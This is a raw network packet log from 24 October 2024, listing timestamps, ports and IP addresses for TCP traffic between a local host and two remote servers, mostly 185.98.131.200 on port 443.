Oct 24, 2024 13:28:39.848809004 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:39.848831892 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:39.849004984 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:39.849018097 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:39.849059105 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:40.376662016 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.376672983 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.376730919 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.376801014 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:40.376801014 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:40.376867056 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.376914024 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:40.483947992 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.483968973 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.484018087 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:40.484051943 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.484076023 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:40.484097004 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:40.489878893 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.489896059 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.489940882 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:40.489959002 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.489980936 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:40.490006924 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:40.493628979 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.493645906 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.493688107 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:40.493705034 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.493726969 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:40.493746042 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:40.499916077 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.499931097 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.499984026 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:40.499999046 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:40.500081062 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:41.735888958 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:41.735899925 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:41.735938072 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:41.735976934 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:41.736044884 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:41.736087084 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:41.736087084 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:41.741091013 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:41.741108894 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:41.741163969 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:41.741183043 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:41.741426945 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:41.852935076 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:41.852956057 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:41.853035927 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:41.853054047 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:41.854701996 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:42.388431072 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.388442993 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.388482094 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.388536930 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:42.388581038 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.388611078 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:42.388629913 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:42.660208941 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.660219908 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.660264015 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.660439014 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:42.660439014 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:42.660478115 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.660537004 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.660551071 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:42.660559893 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.660584927 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.660594940 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:42.660638094 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:42.660940886 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.660957098 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.661000967 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:42.661022902 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.661046028 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:42.661063910 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:42.661169052 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.661183119 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.661233902 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:42.661248922 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:42.661298037 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:43.740176916 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:43.740189075 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:43.740243912 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:43.740278959 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:43.740350008 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:43.740389109 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:43.740411043 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:43.744909048 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:43.744927883 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:43.744977951 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:43.744999886 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:43.745023966 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:43.745040894 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:43.856713057 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:43.856759071 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:43.856918097 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:43.856919050 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:43.856935024 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:43.856971979 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:44.388216019 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.388226032 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.388279915 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.388350010 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:44.388418913 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.388453007 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:44.388472080 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:44.492889881 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.492917061 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.492975950 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:44.493010044 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.493031025 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:44.493043900 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:44.498383045 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.498402119 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.498456001 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:44.498465061 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.498502970 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:44.502686024 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.502703905 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.502769947 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:44.502784014 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.502825022 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:44.509016037 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.509033918 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.509098053 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:44.509107113 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:44.509146929 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:45.743805885 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:45.743818998 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:45.743870020 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:45.743911982 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:45.743941069 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:45.743952990 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:45.743979931 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:45.749046087 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:45.749068022 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:45.749105930 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:45.749114037 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:45.749123096 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:45.749146938 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:45.860905886 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:45.860933065 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:45.861015081 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:45.861027956 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:45.861068964 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:45.861916065 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:45.861933947 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:45.861990929 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:45.861996889 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:45.862035990 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:46.639988899 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:46.640002012 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:46.640038967 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:46.640187025 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:46.640238047 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:46.640302896 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:46.750101089 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:46.750124931 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:46.750174046 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:46.750201941 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:46.750227928 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:46.750246048 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:46.756490946 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:46.756515980 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:46.756592989 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:46.756613016 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:46.756635904 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:46.756680012 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:46.864511013 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:46.864530087 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:46.864653111 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:46.864680052 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:46.864737988 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:47.640724897 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:47.640738010 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:47.640784979 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:47.640814066 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:47.640836954 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:47.640850067 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:47.640882015 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:47.751780987 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:47.751801014 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:47.751903057 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:47.751915932 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:47.751954079 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:47.758352995 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:47.758373022 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:47.758440971 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:47.758446932 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:47.758481026 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:47.865099907 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:47.865137100 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:47.865228891 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:47.865279913 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:47.865334988 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:48.348336935 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:28:48.642066002 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:48.642077923 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:48.642122984 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:48.642162085 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:48.642231941 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:48.642267942 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:48.642290115 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:48.660569906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:28:48.750693083 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:48.750711918 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:48.750907898 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:48.750907898 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:48.750972033 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:48.751022100 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:48.756911993 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:48.756932020 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:48.757010937 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:48.757028103 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:48.757077932 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:48.866401911 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:48.866426945 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:48.866734028 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:48.866796017 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:48.866871119 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:49.270169973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:28:49.642472029 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:49.642484903 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:49.642553091 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:49.642594099 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:49.642664909 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:49.642704964 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:49.642728090 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:49.751100063 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:49.751121998 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:49.751295090 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:49.751295090 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:49.751362085 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:49.751419067 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:49.757227898 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:49.757246017 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:49.757301092 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:49.757322073 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:49.757345915 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:49.757364035 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:49.867702961 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:49.867722988 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:49.868012905 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:49.868077993 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:49.868148088 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:50.473213911 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:28:50.641920090 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:50.641932964 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:50.641983032 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:50.642055988 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:50.642128944 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:50.642170906 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:50.642193079 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:50.750472069 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:50.750489950 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:50.750813961 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:50.750879049 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:50.750965118 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:50.756572008 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:50.756588936 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:50.756711006 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:50.756726027 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:50.756814003 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:50.865792990 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:50.865811110 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:50.865885019 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:50.865915060 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:50.865967035 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:51.643459082 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:51.643471003 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:51.643517017 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:51.643544912 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:51.643621922 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:51.643660069 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:51.643682957 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:51.752005100 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:51.752022982 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:51.752127886 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:51.752165079 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:51.752224922 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:51.758404016 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:51.758419991 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:51.758502960 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:51.758518934 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:51.758568048 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:52.568320036 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.568334103 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.568383932 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.568445921 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:52.568445921 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:52.568515062 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.568566084 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:52.646914959 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.646934032 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.647017002 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:52.647078037 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.647212982 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:52.653414011 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.653433084 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.653497934 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:52.653521061 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.653547049 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:52.653567076 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:52.762444973 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.762460947 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.762547016 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:52.762578011 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.762600899 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:52.762645006 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:52.764067888 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.764085054 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.764147043 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:52.764166117 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:52.764188051 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:52.764208078 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:52.879359007 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:28:53.892307997 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:53.892321110 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:53.892364979 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:53.892513037 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:53.892582893 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:53.892651081 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:53.897301912 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:53.897320986 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:53.897396088 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:53.897413015 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:53.897464037 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:54.009706974 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.009725094 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:54.009789944 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:54.009856939 CEST	443	49731	185.98.131.200	192.168.2.4
